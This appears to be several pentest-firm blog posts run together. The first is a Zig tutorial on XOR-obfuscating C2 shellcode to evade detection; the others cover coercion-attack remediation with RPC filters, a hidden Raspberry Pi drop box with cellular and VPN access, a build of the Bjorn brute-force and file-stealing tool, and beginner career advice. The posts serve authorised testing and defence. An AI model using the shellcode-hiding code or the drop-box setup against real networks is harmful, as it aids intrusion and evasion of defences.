    const key: u8 = 'A';

    for (fileBuffer, 0..fileBuffer.len) |char, i| {
        buffer[i] = char ^ key;
    }

    const file = try std.fs.cwd().createFile("normal_xor.bin", .{ .read = true });

    defer file.close();

    try file.writeAll(buffer);
}

Our key will be the char A, we will iterate through the length of the data and XOR each byte with the key of A and add it to the empty buffer. We will then write the contents of the buffer to a file.

We can build and run this with:

zig run .\main.zig

If open the resulting binary file in VSCode, we can see all of the A characters.

Next we will implement a rotating key approach. Create another function rotatingKeyXOR.

pub fn rotatingKeyXOR(fileBuffer: []const u8, buffer: []u8) !void {
    
    const key: []const u8 = "testing";

    var j: usize = 0;
    for (fileBuffer, 0..fileBuffer.len) |char, i| {
        if (j == key.len) {
            j = 0;
        }
        buffer[i] = char ^ key[j];
        j += 1;
    }

    const file = try std.fs.cwd().createFile("rotatingkey_xor.bin", .{ .read = true });

    defer file.close();

    try file.writeAll(buffer);

}

Instead of using a single character key, A, we are using a string of characters. This means each byte of the shellcode will be encrypted with one character of the string. E.g., byte 1 is XOR’d with t, byte 2 is XOR’d with e, byte 3 is XOR’d with s and so on.

This is great because it makes the data wayyy harder to decrypt through brute force. However, we still have one problem that is immediately obvious if we inspect the resulting bin file. We are leaking the key!

This happens when there are null bytes in the shellcode. When we try to XOR a null byte, the result will be unchanged. For example if you XOR 0×00 with A, the result will still be A ( 0×41 ).

So why not just skip the null bytes?

That is the right idea, but it’s not quite that simple. Just like how XORing a null byte with A will return A; if the byte being XOR’d is the same as the key, the result will be a null byte.

0x41 ^ 0x00 = 0x41

0x41 ^ 0x41 = 0x00

So by skipping null bytes on the encryption side, you will break the decryption since you are introducing null bytes that were previously unaccounted for.

What we need to do is in the encryption function, make note of the indices where null bytes are found and skip them. This will leave you with an array of indices where the true null bytes are located. The decryption function will then need this array so that it knows which indices to skip.

The encryption function will look like this:

pub fn rotatingKeySkipNullXOR(fileBuffer: []const u8, buffer: []u8) !void {
    const key: []const u8 = "testing";

    const ArrayList = std.ArrayList;
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    const allocator = gpa.allocator();

    var indicies = ArrayList(usize).init(allocator);

    defer indicies.deinit();

    var j: usize = 0;
    for (fileBuffer, 0..fileBuffer.len) |char, i| {
        if (char == 0x00) {
            try indicies.append(i);
            continue;
        }
        if (j == key.len) {
            j = 0;
        }
        buffer[i] = char ^ key[j];
        j += 1;
    }

    std.debug.print("Indicies: {d}\n", .{indicies.items});
    std.debug.print("Indicies length: {d} \n", .{indicies.items.len});

    const file = try std.fs.cwd().createFile("rotatingkey_skip_nullbytes_xor.bin", .{ .read = true });

    defer file.close();

    try file.writeAll(buffer);
}

We will allocate memory on the heap and use an ArrayList to store the indices. We are using an ArrayList here because it is an array that can change it's size. The call:

 defer indicies.deinit();

Is freeing the allocated memory once the function completes. We then check for null bytes as we loop through the shellcode and if one is found, append the index to the array and skip to the next iteration. We then print out the array of indices and write the shellcode to a file.

It should be noted that for brevity in the screenshot I swapped the C2 shellcode to clac64 shellcode generated with msfvenom. C2 shellcode generates an array with a length over 20,000.

Now for the end result (with C2 shellcode):

The shellcode is XOR encrypted with a rotating key, and we have accounted for null bytes to ensure we are not leaking the key. Excellent.

Now for the decryption function:

pub fn rotatingKeySkipNullDecrypt() !void {
    const fileBuffer: []const u8 = @embedFile("rotatingkey_skip_nullbytes_xor.bin");

    const key = "testing";
    const indices = [_]usize{ 7, 8, 9, 80, 81, 82, 206, 207, 208, 209, 210, 211, 212, 218, 219, 260, 295 };

    var dec_buffer: [fileBuffer.len]u8 = undefined;

    var j: usize = 0;
    var current_index: [*]const usize = &indicies;

    for (fileBuffer, 0..fileBuffer.len) |char, i| {
        if (current_index[0] == i) {
            current_index += 1;
            continue;
        }
        if (j == key.len) {
            j = 0;
        }
        dec_buffer[i] = char ^ key[j];
        j += 1;
    }

    const file = try std.fs.cwd().createFile("decrypted.bin", .{ .read = true });

    defer file.close();

    try file.writeAll(&dec_buffer);

}

This is very similar to the encryption function, however there are a couple changes. First, we add the array of indices returned from running the encryptor. Again, I’m using the indices from calc64 for the sake of brevity. We also create an empty buffer to store the decrypted shellcode. Then, as we loop through the bytes, we check if i is equal to the current index to be skipped. If so, then we increment to the next index in the array and skip to the next iteration.

I want to take a sec to explain this pointer arithmetic here because it’s really cool.

const indices = [_]usize{ 7, 8, 9, 80, 81, 82, 206, 207, 208, 209, 210, 211, 212, 218, 219, 260, 295 };

var current_index: [*]const usize = &indices;

current_index is a pointer to the first element of the indices array. So current_index[0] is equal to 7. So in the for loop we have the following if statement:

if (current_index[0] == i) {
    current_index += 1;
    continue;
}

So current_index[0] will be equal to 7 which is our first element in the array. Once i gets to that iteration, we increment the pointer by 1 so that current_index[0] points to the next item in the array.

By doing it this way, we don’t have to keep track of another variable and counter to keep track of our position in the array. We know that current_index[0] will always be the next element we are looking for.

I hope you learned something interesting about Zig and XOR. Zig looks like a pretty cool language and I look forward to creating more malware focused Zig content in the future.

Full source code is available here:

GitHub - djackreuter/betterxorzig

Contribute to djackreuter/betterxorzig development by creating an account on GitHub.

github.com/djackreuter/betterxorzig

Table of Contents

• Introduction

• Printer Bug

• PetitPotam

• Shadow Coerce

• DFS Coerce

• Cheese Ounce

• Event IDs Worth Noting

• Conclusion and TLDR

• References

Coercion attacks have been around for a long time. They allow an unauthenticated attacker with network access to cause the vulnerable host to send an authentication request to an arbitrary host of the attackers choosing. This is often chained with other vulnerabilities in the environment.

I almost didn’t want to write on this subject since it already has significant coverage, however, even with so much coverage, I seldom have a client that has already remediated let alone successfully alerts on coercion attacks. After sitting down and implementing and testing remediations myself, I can see why. There isn’t exactly a simple out of the box fix without its considerable downsides.

Additionally, focus is often on remediating a portion of the chained attack and that’s usually ADCS or NTLMv1 Downgrading, both of which are important and do reduce the risk of Coercion attacks like PetitPotam but what happens when other attack chains are discovered. That never happens in our industry :). To add to the reasoning, when looking up remediation for coercion attacks, you often end up looking at EPA or the KB5005413 page talking about mitigating NTLM Relay to AD CS.

The goal of the post is to hopefully help reduce the friction to remediating common coercion vulnerabilities and shed some light on detections using built in functionality.

For context, here is an example attack path.

I have been using coercion attacks on engagements for the last 5 years. In more environments than not, this results in an attack chain that allows me to elevate my privileges from either unauthenticated or a low privilege user directly to Domain Administrator. In several cases I return to test a client a year later and although they may have remediated misconfigurations in ADCS or NTLMv1 support, coercion vulnerabilities often remain. So I decided to try and help reduce the friction to remediation with a little PowerShell script.

 https://github.com/shellntel/RPC-Filter-Manager

Script -help

Now I know this isn't the most elaborate tool or cool leet thing, but I think it helps streamline a step of the remediation process. RPC filters are built into Windows and although they lack a lot a features, they do get the job done. Even if this helps someone out there remediate some of these attacks, I’ll consider it a win.  

Currently, here are the well-known vulnerabilities / endpoints that are commonly abused with off the shelf tooling.

12345678-1234-abcd-ef00-0123456789ab (MS-RPRN - Printer Bug)
c681d488-d850-11d0-8c52-00c04fd90f7e (MS-EFSRPC - Petitpotam)
df1941c5-fe89-4e79-bf10-463657acf44d (MS-EFSRPC - Petitpotam)
a8e0653c-2744-4389-a61d-7373df8b2292 (MS-FSRVP - Shadow Coerce)
4fc742e0-4a10-11cf-8273-00aa004ae673 (MS-DFSNM  - DFS Coerce)
82273fdc-e32a-18c3-3f78-827929dc23ea (MS-EVEN - Cheese Ounce)

Not all the above are remediated in the same means. And it should be obvious, but any remediation should be tested and validated before implementation in production. Let’s dig a little deeper into each one.

Printer Bug 

Microsoft’s print spooler service exposes an RPC service that allows low privilege users to call the RpcRemoteFindFirstPrinterChangeNotification(Ex) functions. This function can be supplied with an IP address in the pszLocalMachine field to initiate a call back.  

Remediation for this vulnerability should start with evaluating where you need the print server spooler service running. In most cases I have come across, clients do not need their Domain Controllers running as a print server.  

In my limited testing, an RPC filter did not prove to work against this specific endpoint. RPC access was denied but some tools failed, and others continued to initiate a successful call back. I may research this further but at this point I would not leverage an RPC filter to block Printer Bug as it can be bypassed.

Event Generated

PetitPotam

“The Encrypting File System Remote (EFSRPC) Protocol is used for performing maintenance and management operations on encrypted data that is stored remotely and accessed over a network.” - Microsoft

This RPC endpoint has multiple functions that allow a user to cause coercion. A single method EfsRpcOpenFileRaw was abusable from an unauthenticated perspective. This has been patched by Microsoft. However, six additional methods are still abusable by an authenticated user.  

Example of Event ID Generated from Activity

In order to block these end points you can use the provided PowerShell script. To block these endpoints use the -b and -i followed by MS-EFSRPC-1 and -2.

PS> .\Coercion-Protection.ps1 -b -i MS-EFSRPC-1

Blocking interface:
    - MS-EFSRPC-1 (PetitPotam)
    - UUID: c681d488-d850-11d0-8c52-00c04fd90f7e

Successfully blocked RPC interface(s).


PS> .\Coercion-Protection.ps1 -b -i MS-EFSRPC-2

Blocking interface:
    - MS-EFSRPC-2 (PetitPotam)
    - UUID: df1941c5-fe89-4e79-bf10-463657acf44d

Successfully blocked RPC interface(s).

Shadow Coerce

“used for creating shadow copies of file shares on a remote computer, and for facilitating backup applications in performing application-consistent backup and restore of data on SMB2 shares.” - Microsoft

More specifically this endpoint is exposed when the “File Server VSS Agent Service” role is added. I do not recommend using an RPC filter to solve this problem as the good ole ensure your machine is updated remediation will work since Microsoft has issued a patch that addressed this vulnerability. KB5015527 I rarely come across this, however it does still happen.  

DFS Coerce

An RPC service, MS-DFSNM, implemented for managing DFS (Distributed File System). The specific methods called are NetrDfsRemoveStdRoot and NetrDfsAddStdRoot.

This attack can also be blocked similar to the PetitPotam endpoints.

PS> .\Coercion-Protection.ps1 -b -i MS-DFSNM

Blocking interface:
    - MS-DFSNM (DFS Coerce)
    - UUID: 4fc742e0-4a10-11cf-8273-00aa004ae673

Successfully blocked RPC interface(s).

Attack Failing Due to RPC UUID Being Blocked

Event Generated Regardless of Block in Place

Cheese Ounce

This attack was one of the last to be discovered. MS-EVEN and more specifically the function ElfrOpenBELW allows you to supply an endpoint in the BackupFileName parameter. This is exposed when you enable Remove Event Log Management in the firewall.

Features Exposing MS-EVEN

Example of Attack

Generated Event During Attack

Again, simply supply -b -i MS-EVEN and this attack will be blocked.

PS> .\Coercion-Protection.ps1 -b -i MS-EVEN

Blocking interface:
    - MS-EVEN (Cheese Ounce)
    - UUID: 82273fdc-e32a-18c3-3f78-827929dc23ea

Successfully blocked RPC interface(s).

Event IDs Worth Noting

My experience with trying to successfully detect this activity was eye opening to say the least. Event IDs generated appear to be lacking and unfortunately more useful Event IDs would only be generated under specific conditions.  

5712 - A Remote Procedure Call (RPC) was attempted.

That is a great start…. When manually creating RPC filters, documentation states that the audit flag may only be applied to rules with the action set to permit. That helps us if you know you can't block an endpoint, but ideally, I would like to block the end point and also alert when someone tries to access the UUID. Bummer. 

Additionally, when testing a permit rule for each UUID in this article, only two successfully generated 5712 events.

• MS-EVEN (82273fdc-e32a-18c3-3f78-827929dc23ea)

• MS-EFSRPC (c681d488-d850-11d0-8c52-00c04fd90f7e)

5145 A network share object was checked to see whether client can be granted desired access.

This appeared to be the only other event ID that seemed to be consistently generated with the attacks. Additionally, it did successfully trigger regardless of it a RPC filter was in place.

PrinterBug Attack Generating a 5145 Event

Conclusion and TLDR

MS-FSRVP (DFSCoerce) and MS-PAR (Print Nightmare) should simply be patched through windows updates. Look for Event ID 5145. Consider alerting on low privilege users accessing the share name \*\IPC$ with the following Relative Target Name, netdfs.

MS-RPRN (Printer Bug), don’t use your DCs as a print server and use an RPC filter at your discretion as this was bypassed during testing. Look for Event ID 5145. Consider alerting on low privilege users accessing the share name \*\IPC$ with the following Relative Target Name, spoolss.

MS-EFSRPC (PetitPotam) can be blocked using -b -i MS-EFSRPC1 and -b -i MS-EFSRPC2 After blocking, look for Event ID 5145. Consider alerting on low privilege users accessing the share name \*\IPC$ with the following Relative Target Names, lsarpc, efsrpc, samr, netlogon, and lsass.

MS-DFSNM (DFSCoerce) and MS-EVEN (CheeseOunce) can be blocked using the script or you can evaluate the option of removing and not exposing these services. Look for Event ID 5145. Consider alerting on low privilege users accessing the share name \*\IPC$ with the following Relative Target Name, eventlog.

Coercion Filter Tooling - https://github.com/shellntel/RPC-Filter-Manager

References

• Microsoft Recommendations on Remediation - https://techcommunity.microsoft.com/blog/microsoft-security-blog/how-microsoft-defender-for-identity-protects-against-dfscoerce/3562912

• NTLMv1 Downgrading ADCS 2018 Derby Con Talk - https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory#3 

• PetitPotam CVE - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942 

• Akamai - https://www.akamai.com/blog/security/guide-rpc-filter 

• Akamai Tooling - https://github.com/akamai/akamai-security-research/tree/main/rpc-filters 

• Coercer - https://github.com/p0dalirius/Coercer/tree/master/coercer

Introduction

Often times when I'm on a physical penetration test I'm working in conjunction with a network pentester. We may not necessarily be performing a red team engagement, but we are working together if an opportunity presents itself. One great way for me to assist the network team is to place a computer on the target network that they can use to gain a foothold. Today I'm going to talk about how to build such a device as well as some of the design considerations. Let's get started!

Objectives and Design

Our goal is to connect a computer to our target's local network. It should be easy to hide and easy to access from the outside. Small form factor and single board computers come in many shapes and sizes and should meet the hidability goal without breaking a sweat. Toss in a VPN, a HAT to add cellular connectivity, or both, and we've met the second objective. We'll also add in a USB wireless adapter for attacking wireless networks. Wireless testing can be useful on the network side for finding user names on many enterprise wireless networks. Our hardware list might look something like this:

Raspberry Pi SBCs are extremely popular, which means there is a wide array of add-ons designed for it, such as our cellular modem. The 27 watt power supply is probably overkill today, but it keeps our options open for future design enhancements in case we need more power.

Next we need to select software. Two operating system options to consider are Raspberry Pi OS and Kali OS. The first party OS from the hardware manufacturer "should" provide the highest level of stability. We're going to be leaving this device unattended and likely won't be able to return to troubleshoot why it suddenly went offline. If that's a concern for you, Raspberry Pi OS may be a good decision. It can be customized with only the tools you need, resulting in a slimmer installation tailor-made for the target. On the other hand, Kali comes with a boatload of tools baked in, making it more of a giant one-size-fits-all solution that should be adequate for most targets. Downloading and installing tools you forgot or didn't know you needed can slow down or even kill an engagement.

We're going to use Kali for this build since the plethora of tools should reduce the amount of time spent customizing for each individual target. The Raspberry Pi Imager is an excellent tool for quickly and easily imaging our Micro SD card. It has numerous OS options right in the menu, including Kali Linux, which means we don't need to download it manually. The latest release of Kali (2024.4 at the time of writing) allows us to take advantage of the customization settings, such as selecting a hostname, username and password, and enabling SSH.

OS selection

OS customization

Once the imaging is complete install the SD card, boot up the Pi to make sure it's working, perform any updates and upgrades that are necessary, then reboot. Before we move on to the cellular modem, let's configure a Wireguard server for VPN access. Wireguard is a secure, easy to use, and easy to configure VPN tool. I'll be using AWS to create my server, but you can use whatever VPS solution you like or even host it in your own data center. Selecting and building a server won't be covered in this blog (just make sure it can listen on UDP-51820), but we will cover installing and configuring Wireguard on whatever you choose. The Raspberry Pi will be configured to attempt to connect to this server every time it boots. When we're done with this part we'll have two "peers", the server and the Raspberry Pi client, each with a new interface called wg0 that can communicate with each other over the VPN using 172.27.1.10 and 172.27.1.20 respectively.

Install and Configure Wireguard

Server

1. Install Wireguard
   sudo apt install wireguard

2. Generate the private key
   wg genkey > privkey-server
   You may receive a warning similar to "Warning: writing to world accessible file. Consider setting the umask to 077 and trying again." It can be safely ignored for now.

3. Generate the public key
   wg pubkey < privkey-server > pubkey-server

Wireguard server commands

Raspberry Pi Client

1. Log in and install Wireguard
   sudo apt install wireguard

2. Generate the private key
   wg genkey > privkey-client

3. Generate the public key
   wg pubkey < privkey-client > pubkey-client

Wireguard client commands

Next we'll create the configuration file for each. Run sudo nano /etc/wireguard/wg0.conf on both machines, then copy and paste the respective templates below.

Server:

[Interface]
ListenPort = 51820
PrivateKey = <<SERVER PRIVATE KEY>>
Address = 172.27.1.10/24

[Peer]
PublicKey = <<CLIENT PUBLIC KEY>>
AllowedIPs = 172.27.1.20/32

Raspberry Pi Client:

[Interface]
PrivateKey = <<CLIENT PRIVATE KEY>>
Address = 172.27.1.20/24
DNS = 1.1.1.1

[Peer]
PublicKey = <<SERVER PUBLIC KEY>>
AllowedIPs = 172.27.1.10/32
Endpoint = <<SERVER PUBLIC IP ADDRESS>>:51820
PersistentKeepalive = 25

The last thing we should do on each peer is configure a Wireguard daemon to bring up the interfaces in the event of a reboot. This is especially important for the Raspberry Pi since you're probably not going to be connecting it to a keyboard and monitor when you deploy it.

BOTH Server and Client

1. sudo wg-quick up wg0
   If you receive an error "resolvconf: command not found" you need to install openresolv with sudo apt install openresolv

2. sudo systemctl enable wg-quick@wg0

Wireguard server daemon

Wireguard client daemon

If everything worked you should now be able to communicate to each machine. Make sure you can SSH to the Raspberry Pi from the server using the 172.27.1.20 address.

Install and Configure the Cellular Modem

Sometimes you may not be able to find an accessible network port, or the port you do find isn’t live, or the live port has NAC configured, or any number of other reasons. The cellular modem is the contingency plan. The instructions for my Quectel cellular HAT from Sixfab can be found here: https://docs.sixfab.com/docs/raspberry-pi-4g-lte-cellular-modem-kit-intoduction. My before and after looked like this:

Sixfab modem components

Sixfab modem assembled

Follow the steps to assemble the pieces and register your SIM card. One nice thing about Sixfab is that they include a $25 USD credit with the kit. That's not nearly enough for a real life engagement, but it is convenient for this demonstration.

Now we need to configure the hardware. First, uninstall modemmanager with sudo apt purge modemmanager, then make sure the module was properly loaded by checking lsusb. It should look something like this:

lsusb output

Next install the atcom tool to issue commands to configure the module. The Sixfab instructions call for the use of pip3 to install the tool. For reasons outside the scope of this blog (really far outside the scope) we are going to use pipx instead. Simply run pipx install atcom and you should be good to go. If this is the first time you've used pipx you may need to run pipx ensurepath to add the installation directory to your path. If so simply log out then log back in. Run atcom AT to test that everything is working.

atcom installation

On to the actual configuration commands:

1. atcom AT+CGDCONT=1,\"IPV4V6\",\"super\"

2. atcom AT+QCFG=\"usbnet\",1

3. atcom AT+CFUN=1,1
   Note the backslashes preceding the quotes.

Modem configuration

You should now have another new interface, either usb0 or eth1. This is your cellular connection. You can test this by issuing a ping command specifying that new interface with ping -I eth1 1.1.1.1 -c 3

Modem is using eth1

Successful modem test

That should be it for the cellular modem! Power down the Raspberry Pi, remove the Ethernet cable, and bring it back up. If everything is working it will come back up, connect to the cellular network, and connect to your Wireguard server. Just give it a minute or two.

Test the Wireless Adapter

Our last step is to connect our USB wireless adapter. While the Raspberry Pi does have an integrated wireless chip, its range is not as great. On the other hand, the ALFA AWUS036AXML has excellent range and works out of the box with the 6.6.* kernel.

First, let's power off the Pi and disconnect the cellular modem. We don't want to accidentally use up all our data. Power it back up with the ALFA connected. It should be on the wlan1 interface, but if you aren't sure simply disconnect it, run ip a, connect it again, and the new interface should be the ALFA.

Let's test everything just to be sure. Place the adapter in monitor mode with sudo airmon-ng check kill and sudo airmon-ng start wlan1. Note that airmon-ng may change the interface name to something else, like wlan1mon, when enabling monitor mode. The tool will tell you in the output.

Enable monitor mode with airmon-ng

Run sudo airodump-ng wlan1mon to ensure monitor mode is working. It should look something like this:

Listening with airodump-ng

We have successfully confirmed monitor mode is working and that we can listen to nearby wireless traffic! Press CTRL-C to stop airodump-ng. Before we test injection, lets choose a wireless network we control and have permission to test. I've selected one already in the image above. Disable then re-enable monitor mode, but this time set the channel. My target network is using channel 6, so my commands will be sudo airmon-ng stop wlan1mon and sudo airmon-ng start wlan1 6

Now we can test injection with sudo aireplay-ng -9 -D wlan1 -a B6:97:4E:1B:49:29. It should look something like this:

Testing injection with aireplay-ng

That's it! That's everything! We have a Raspberry Pi 5, running Kali Linux, with a Wireguard VPN for remote access, a cellular modem for a backup connection, and a USB wireless adapter for attacking Wi-Fi. All we need now is a case, but I have something special in mind for that. Stay tuned for part 2!

A few days ago, I was doomscrolling when this Bjorn thing came across my feed.

Instagram post

I said out loud, “Hey, that looks [redacted expletive] sweet!” This scared my wife and children and disappointed my parents. To regain their approval, I decided to delete Facebook, lawyer up, hit the gym, and show them all that the Bjorn really was “[redacted expletive] sweet!”

I had an old Raspberry Pi Zero and Waveshare e-ink screen V2 lying around from our previous blog post building a pwnagotchi; however, I experienced a lot of errors during the automated and manual installation. After a few hours of fear, anger, and existential dread, I threw in the towel and ordered a Raspberry Pi Zero 2 WH and Waveshare e-ink screen V4. That night I slept on the couch and my parents informed me that I was no longer in their will.

The next day, I woke up with a painful back and a crushed ego. My wife and children had left. I found a note that said, “You have brought great shame to our family. We’ll come back when you have a completed Bjorn.” Using this as motivation, I found a parts list on d_z_az’s Linktree and watched their YouTube video below, which helped tremendously. Unfortunately, the YouTube video was taken down for “violating YouTube’s Community Guidelines.” Jerks. And it’s back! A lot of the time ordering the correct parts is a big part of the battle. It could be that my life’s purpose is to ensure that you build a working Bjorn on your first try.

Parts List Bezos

2.13inch E-Ink Display HAT V4 Version - $22.07:

https://www.amazon.com/dp/B07Z1WYRQH

PiSugar S Portable 1200 mAh UPS Lithium Battery - $27.99:

https://www.amazon.com/dp/B097RC8KLQ 

Lexar E-Series 32GB Micro SD Card 5 Pack - $25.99:

https://www.amazon.com/dp/B0CPDGYLGC

Pi Zero 2 WH - Pre-Soldered Header - $27.99:

https://www.amazon.com/dp/B0DKKXS4RV

3D printed case - $1.32 in material:

 https://www.thingiverse.com/thing:6913717

Total = $105.36

Parts List China

2.13inch E-Ink Display HAT V4 Version - $16.80:

https://www.aliexpress.us/item/3256807143070999.html

PiSugar S Portable 1200 mAh UPS Lithium Battery - $33.01:

https://aliexpress.us/item/3256805833888547.html

SanDisk Micro SD Card C10 32GB - $3.68

https://www.aliexpress.us/item/2251832505613280.html

Pi Zero 2 WH - Pre-Soldered Header - $25.42

https://www.aliexpress.us/item/3256806569341571.html

3D printed case - $1.32 in material:

 https://www.thingiverse.com/thing:6913717

Total = $80.23

What is a Bjorn?

Bjorn is a « Tamagotchi like » sophisticated, autonomous network scanning, vulnerability assessment, and offensive security tool designed to run on a Raspberry Pi equipped with a 2.13-inch e-Paper HAT. [Redacted expletive] sweet right?

Features

• Network Scanning: Identifies live hosts and open ports on the network.

• Vulnerability Assessment: Performs vulnerability scans using Nmap and other tools. System Attacks: Conducts brute-force attacks on various services (FTP, SSH, SMB, RDP, Telnet, SQL).

• File Stealing: Extracts data from vulnerable services.

• User Interface: Real-time display on the e-Paper HAT and web interface for monitoring and interaction.

Who Created Bjorn?

• Fabien Polly(Infinition)

• https://github.com/infinition

• https://www.reddit.com/r/Bjorn_CyberViking/

The author did have a heart attack and understandably took a break from the project; however, the Discord community is active, and the project does seem to be getting some traction from other contributors.

The author’s update on the delay of the next update.

Please contribute to the author if you enjoy the project and can afford it 🙂 

Fabien

Cannes 🇫🇷 Blader🤘🏼 3D Artist ✍️ & Ethical Hacker ☠️

buymeacoffee.com/infinition

Legal

• ONLY TEST ON NETWORKS FOR WHICH YOU ARE AUTHORIZED.

• This information is for educational purposes only.

• I am not an attorney.

• Attacking devices without permission is likely a violation of the Computer Fraud and Abuse Act (CFAA). They will put you in Federal prison for a long time for hacking in the United States of America.

• States and countries may have their own laws pertaining to the unauthorized access and collection of data.

Display Guide

Source: https://github.com/infinition/Bjorn

Assembly

Be sure to read, follow, and understand the directions 😉:

Directions

Oops. I probably should have read the directions.

Side A

Side B

The battery

Flashing

Set username and password to “bjorn”

Scare your wife and kids by turning the sound all the way up and selecting “Play sound when finished”

Enable SSH

Flashing

Flashing completed

Identifying Bjorn’s IP Address

nmap -Pn -vv 192.168.1.0/24 -p 22 --open

Connecting to SSH via putty

First login

Detailed instructions located here https://github.com/infinition/Bjorn?tab=readme-ov-file#-getting-started

Runing the Installer

wget https://raw.githubusercontent.com/infinition/Bjorn/refs/heads/main/install_bjorn.sh

Install screen.

sudo apt install screen

Open a screen session (we do this in the event your wireless connection is not good. This allows you to reconnect to the ssh session using “screen -r one” if you happen to get disconnected during the installation).

screen -S one

Run the installer.

sudo chmod +x install_bjorn.sh && sudo ./install_bjorn.sh

Choose option 1 for automatic installation. It may take a while as a lot of packages and modules.

Choose option 4 for the screen waveshare v4.

Running the installation script

The installation will run for a while. You can watch it or take ☕ break.

Installation

Error

Enter 1 to retry and press enter.

Error 2

Enter 1 to retry and press enter.

Error 3

Enter 1 to retry and press enter.

Installation completed

Take note of the information for USB gadget and press y and enter to restart.

Log back in once restarted and be sure to change the bjorn password with passwd.

sudo passwd bjorn

Troubleshooting

Bjorn/TROUBLESHOOTING.md at main · infinition/Bjorn

Bjorn is a powerful network scanning and offensive security tool for the Raspberry Pi with a 2.13-inch e-Paper HAT. It discovers network targets, identifies open ports, exposed services, and potent...

github.com/infinition/Bjorn/blob/main/TROUBLESHOOTING.md

During testing and writing this blog the first time I ran the installation everything worked fine except the web interface wouldn’t start.

The second time was documented above and had a few errors during installation and the Bjorn service was not started. I SSH’d back into the pi zero and re-ran the install_bjorn.sh script and it worked. I think the issues were related to a poor Wi-Fi connection ¯\_(ツ)_/¯.

3D Printing the Case on a Bambu P1S

Case created by r3dfish, STL file located here:

•  https://www.thingiverse.com/thing:6913717

Shout out to Chris Meyer from Sector67. Thank you for helping me with the printer!

Configure 3D printer

Set material type

Verify settings

Completed Build

Completed build

My wife and children returned the next morning, and I was back in my parents’ will.

The Web Interface

The web interface

Credentials page

Network knowledge base page

Loot page

Tailing the log page

The virtual screen page

Connecting with USB

Had a couple issues connecting over USB:

1. The drivers on my Windows 11 desktop needed to be updated. See the RDNIS part of the wiki if Windows device manager isn't detecting the USB ethernet adapter. Windows 11 solution is the same as the Windows 10 solution https://pwnagotchi.org/common-issues/index.html.

2. The pi zero was taking the static IP address configured in /etc/network/interfaces even though it appeared to be set correctly.

Source: https://github.com/infinition/Bjorn/blob/main/INSTALL.md

Pi Zero’s usb0 IP address:

sudo nano /etc/dhcpcd.conf

add at the end of the file:

interface usb0
static ip_address=172.20.2.1/24

/etc/dhcpcd.conf

Then edit /etc/networks

sudo nano /etc/networks

To look like this:

/etc/networks

sudo reboot

You should be able to connect now by configuring your ethernet adapter to:

• IP Address: 172.20.2.2

• Subnet Mask: 255.255.255.0

• Default Gateway: 172.20.2.1

• DNS Servers: 8.8.8.8, 8.8.4.4

You should now be able to connect through SSH and USB ethernet adapter using Putty:

More info on troubleshooting here:

Bjorn/INSTALL.md at main · infinition/Bjorn

Bjorn is a powerful network scanning and offensive security tool for the Raspberry Pi with a 2.13-inch e-Paper HAT. It discovers network targets, identifies open ports, exposed services, and potent...

github.com/infinition/Bjorn/blob/main/INSTALL.md

Watch for our follow-up blog for instructions on how to use Bjorn and more details on the individual settings 😁!

#_shellntel Blog

Research, tools, and tales from our pentests...

blog.shellntel.com/subscribe

Hack the planet! - @TheL0singEdge

Introduction

This blog is for those looking to get started in offensive security. As the newest penetration tester at SynerComm, I recently broke into the field myself, and I’d like to share some tips and resources that helped me along the way.

The Basics

At the beginning of your journey, it's crucial to build a strong foundation. You may start as simple as learning the basic components of a computer, the different ports and protocols, or routing and switching. There are several resources out there but I began by earning CompTIA’s Network+ certification, setting up virtual machines, and configuring devices in Packet Tracer. Certifications, whether it's A+, Network+, or other entry-level options, are a great starting point because they provide a structured path for learning. While you still need to put in the effort to understand the material, certifications eliminate the uncertainty of "what should I learn next?" Plus, they make a great addition to your resume.

Another foundational skill is the ability to learn independently. It may sound obvious, but actively seeking knowledge on your own is crucial in this field. Instead of immediately asking someone for an answer, take the time to research and troubleshoot on your own. Developing this habit early on will benefit you tremendously. Of course, if you truly need assistance, asking questions is fine, but always try to resolve issues or find answers yourself first.

Additionally, as you embark on this journey, remember that being a penetration tester requires more than just technical expertise. Soft skills are equally important. You will often interact with clients and must be able to communicate effectively. The ability to explain findings clearly, provide actionable recommendations, and collaborate with others is a critical part of the job.

Starting to Hack

Once you have built a solid foundation and are ready to dive deeper, I recommend starting with the TryHackMe (THM) platform. It offers several beginner-friendly challenges that teach the basics of hacking, gradually increasing in difficulty as you progress. This is where I began learning to hack, and I found it to be incredibly valuable.

Once you feel comfortable with THM and are looking for a greater challenge, HackTheBox (HTB) is an excellent platform to sharpen your skills. The machines on HTB are often much more difficult but also highly rewarding to complete.

A good platform to learn more about web application security testing is PortSwigger Academy. It provides excellent content that includes hands-on labs. The topics will teach you about various web application vulnerabilities as well as how to exploit them. The knowledge gained from this platform translates well when performing external penetration tests.

For those interested in a Capture The Flag (CTF) style learning experience, pwn.college is a great resource for both beginners and experienced individuals. It was created by Arizona State University (ASU), it covers Linux, web application hacking, reverse engineering, and binary exploitation. The platform even includes ASU lecture content. I have been using it recently, but if I could go back, I would have spent more time here earlier in my career.

In addition to these platforms, there are several great content creators who make hacking-related videos. These can be useful for supplemental learning when exploring a specific topic or even just for entertainment. Some of the creators that helped me when I was getting started include John Hammond, IppSec, and NetworkChuck.

Capture The Flag

Once I had developed some skills, I became interested in CTFs. I came across a post on Reddit from a CTF team looking for new members and decided to join. Participating in CTFs with a team was a great learning experience, as each member had different strengths, and we were able to learn from each other.

If you're interested in getting started with CTFs, picoCTF is a great introduction that you can do solo. Their "picogym" is available year-round and offers challenges for all experience levels. CTFs are a fun way to learn new skills while also developing critical thinking. Overall, they are a great learning tool.

If you enjoy CTFs and can join or start a team, I highly recommend it. Being part of a team helps you build collaboration skills and allows you to learn from your peers.

For previous CTF challenge write-ups, team creation/joining, and a list of upcoming events, check out CTFTime.

Gaining Experience

For some, this point may come earlier or later, but after earning a few certifications and gaining self-taught experience, I began searching for jobs. My first roles were in IT support and systems administration. While I wasn't working as a penetration tester, I still gained valuable knowledge that continues to benefit me in my career.

In my previous roles because I had some background in cybersecurity and the organizations were smaller, I was given the opportunity to perform vulnerability assessments, configure cloud-based security controls, and work on other security-related tasks. These experiences aligned with my long-term goals and helped me build relevant skills.

It's important to remember that you may not start in your ideal role right away, but the skills and knowledge you gain along the way will ultimately help you get there and will remain valuable throughout your career.

Obtaining The OSCP

